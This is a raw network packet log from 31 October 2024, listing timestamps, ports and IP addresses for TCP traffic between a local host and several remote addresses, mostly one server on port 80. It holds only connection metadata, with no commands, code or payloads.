Oct 31, 2024 01:18:53.568084955 CET	49997	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.568104029 CET	443	49997	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.569430113 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.570377111 CET	50004	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.570393085 CET	443	50004	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.570667028 CET	50004	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.570802927 CET	50004	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.570815086 CET	443	50004	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.574218035 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.596987963 CET	443	49996	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.597045898 CET	443	49996	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.597409010 CET	49996	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.597642899 CET	49996	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.597675085 CET	443	49996	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.597723961 CET	49996	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.597748041 CET	443	49996	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.606475115 CET	50005	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.606525898 CET	443	50005	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.607021093 CET	50005	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.607259989 CET	50005	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.607278109 CET	443	50005	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.660008907 CET	443	49998	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.660058975 CET	443	49998	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.660089970 CET	443	49998	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.660141945 CET	49998	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.660212040 CET	49998	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.660621881 CET	49998	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.660621881 CET	49998	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.660645008 CET	443	49998	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.660655975 CET	443	49998	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.663588047 CET	50006	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.663606882 CET	443	50006	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.663880110 CET	50006	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.664052963 CET	50006	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.664066076 CET	443	50006	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.847703934 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.847738981 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.847754002 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.847780943 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.847795963 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.847811937 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.847822905 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.847827911 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.847842932 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.847847939 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.847873926 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.847893000 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.847894907 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.847908020 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.847961903 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.847995996 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848011971 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848026991 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848052025 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848073006 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848078012 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848093033 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848129988 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848130941 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848145008 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848165035 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848171949 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848180056 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848201990 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848213911 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848248959 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848265886 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848279953 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848332882 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848470926 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848484993 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848500967 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848510981 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848515987 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848531008 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848546028 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848546028 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848583937 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848583937 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848629951 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848644972 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848660946 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848665953 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848676920 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848690987 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848694086 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848705053 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848707914 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848721027 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848723888 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848733902 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848738909 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848751068 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848767996 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848779917 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848788023 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848802090 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848810911 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848825932 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848841906 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848849058 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848864079 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848880053 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848881960 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848892927 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848897934 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848906994 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848923922 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848927975 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848937988 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848953009 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848958015 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848970890 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.848980904 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.848985910 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849001884 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849001884 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849018097 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849030972 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849034071 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849054098 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849073887 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849077940 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849092960 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849116087 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849132061 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849138021 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849147081 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849163055 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849164009 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849183083 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849188089 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849198103 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849224091 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849231005 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849237919 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849245071 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849268913 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849282026 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849291086 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849306107 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849340916 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849358082 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849373102 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849415064 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849416971 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849431992 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849462986 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849478006 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849478960 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849503994 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849529028 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849548101 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849562883 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849577904 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849582911 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849613905 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849729061 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849744081 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849759102 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849785089 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849801064 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849906921 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849927902 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849944115 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849958897 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849973917 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.849992990 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.849997044 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850013971 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850013971 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850028992 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850044012 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850048065 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850059032 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850070953 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850073099 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850087881 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850100040 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850114107 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850125074 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850136042 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850157976 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850161076 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850173950 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850176096 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850188971 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850205898 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850214005 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850219011 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850233078 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850236893 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850249052 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850263119 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850270987 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850276947 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850291014 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850291014 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850292921 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850301027 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850317001 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850317955 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850331068 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850332022 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850347042 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850354910 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850362062 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850363970 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850379944 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850394011 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850394964 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850394964 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850416899 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850419044 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850433111 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850447893 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850459099 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850462914 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850480080 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850482941 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850493908 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850496054 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850509882 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850522041 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850523949 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850542068 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850548983 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850567102 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850610971 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850684881 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850699902 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850701094 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850716114 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850733042 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850738049 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850764036 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850785017 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850860119 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850915909 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.850934982 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.850958109 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.896245003 CET	443	49999	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:53.897574902 CET	49999	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:53.897574902 CET	49999	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:53.897589922 CET	443	49999	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:53.897603989 CET	443	49999	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:53.897639990 CET	49999	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:53.897649050 CET	443	49999	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:53.934920073 CET	443	50000	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:53.936094999 CET	50000	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:53.936094999 CET	50000	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:53.936110973 CET	443	50000	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:53.936126947 CET	443	50000	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:53.936160088 CET	50000	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:53.936168909 CET	443	50000	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:53.940933943 CET	443	50001	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:53.941286087 CET	50001	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:53.941299915 CET	443	50001	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:53.941618919 CET	443	50001	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:53.942049026 CET	50001	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:53.942100048 CET	443	50001	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:53.946010113 CET	50001	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:53.963269949 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963288069 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963299036 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963310003 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963423014 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963432074 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.963432074 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.963434935 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963445902 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963459969 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963470936 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963486910 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963495970 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.963499069 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963510036 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963515997 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.963521957 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963524103 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.963577986 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.963577986 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.963592052 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963638067 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963649988 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963706970 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.963718891 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963730097 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963738918 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963749886 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963781118 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963793039 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963799953 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.963799953 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.963803053 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963814020 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963824034 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.963824034 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.963824034 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963841915 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963849068 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.963854074 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963876009 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.963912010 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963923931 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963933945 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963941097 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.963946104 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963958025 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963969946 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.963970900 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.963992119 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964014053 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964026928 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964040995 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964042902 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964054108 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964063883 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964070082 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964075089 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964086056 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964090109 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964121103 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964148045 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964159966 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964169979 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964174986 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964183092 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964195013 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964205980 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964257002 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964267969 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964277983 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964283943 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964292049 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964294910 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964306116 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964318037 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964355946 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964355946 CET	49962	80	192.168.2.5	185.215.113.206
